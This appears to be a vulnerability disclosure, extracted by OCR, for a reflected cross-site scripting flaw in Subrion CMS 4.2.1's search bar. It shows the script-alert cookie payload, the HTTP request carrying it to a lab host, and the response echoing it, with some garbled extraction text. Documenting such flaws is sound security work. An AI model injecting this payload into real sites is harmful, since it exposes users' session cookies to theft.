Subrion CMS v4.2.1 Reflected XSS

Evidence
1. Tester accessed the default template named “Kickstart” of Subrion CMSv 4.2.1
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2. Inthe search bar, tester injected the javascript payload
“<script>alert(document.cookie);</script>" and web application returned the
current cookie of the administrator user. These attacks could allow attacker to steal
the victim’s browser cookies in the Subrion web application.

D 172.16.63.129

%KICKSTART Home Members Blog Administrator v £ Q

<script>alerf(document.cookie) m

The greatest place
to kickstart anything

You will love how easy
it is to manage your content




172.16.63.129,

__atuwve=1%7C7;

3. The following shown the HTTP request and response of the web application

Request

- Params Headers Hex

GET /search/?q=%3Cscript%3Ealert(document.cookie)%3B%3C%2Fscript%3E HTTP/1.1
Host: 172.16.63.129

User-Agent: Mozilla/5.0 (Macintosh; Intel Mac 0S X 10.12; rv:56.0)
Gecko/20100101 Firefox/56.0

Accept:

text/html,application/xhtml+xml,application/xml;q=0.9, image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5

Accept-Encoding: gzip, deflate

Connection: close

Cookie: __atuvc=1%7C7; loader=loaded;
INTELLI_7da515443a=gcmlprjlaplh33gup9buuv5ott

Upgrade-Insecure-Requests: 1




Response
m Headers Hex HTML  Render

o<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; <b>0N</b>
(0. object™ = b. id" <b>AND</b> o. object_type’ = 'blocks' <b>AND</b>
0. access’ = 1)
<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; <b>LEFT</b> <b>JOIN</b>
“sbr421_language”
pl<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; <b>0N</b>
(pl. key' = CONCAT('block_title_', b. id’) <b>AND</b> pl. code’ = 'en')
<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; <b>LEFT</b> <b>JOIN</b>
“sbr421_language’
p2<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; <b>0N</b>
(p2. key' = CONCAT('block_content_', b. id") <b>AND</b> p2. code’ = 'en')
<br>&nbsp;&nbsp;&nbsp; <b>WHERE</b> b. type' IN ('plain’,'smarty’','html’')

<b>AND</b> b. status’ = ‘'active'

<b>AND</b> b. module’ IN
('kickstart','blog', 'kcaptcha', 'fancybox', 'kickstart')

<b>AND</b> (b. external’ = 1 <b>OR</b> p2. value' <b>LIKE</b>
‘%<script>alert(document.cookie);</script>%' <b>0R</b> pl. value’
<b>LIKE</b> '%<script>alert(document.cookie);</script>ps')

<b>AND</b> o. page_name® IS NOT NULL
<br>&nbsp;&nbsp;&nbsp; <b>GROUP BY</b> b."id </code></pre></div>
</td></tr><tr><td class="iterator">23.</td><td style="width: 15px; color:
green;">0.03&nbsp;ms</td><td><div
onclick="document.getElementById('val_4671').style.display =
(document.getElementById('val_4671').style.display=="'none' ? 'block'
'none');'"><b><i style="color:black;cursor:pointer;">SELECT “name’, "type’
FROM “sbr421_modules’ WHERE “status’ = 'active'</i></b></div><div
style="display:none;color:#464B4D;" id="val_4671"><pre><code
class="sql"><b>SELECT</b> “name’, “type’ <br>&nbsp;&nbsp;&nbsp;<b>FROM</b>
“sbr421_modules’ <br>&nbsp;&nbsp;&nbsp;<b>WHERE</b> “status’ =
‘active'</code></pre></div> </td></tr><tr><td class="iterator">24.</td><td
style="width: 15px; color: green;">0.05&nbsp;ms</td><td><div

anclick="dncument_netFlementRuTd('val R870Q') _ctvle.dienlav =

? < + > <script>alert(document.cookie); < /script> 5 matches

4. The following evidences shown the current version of Kickstart template and Subrion
CMS.

(1) 172.16.63.129/panel/modules/templates/
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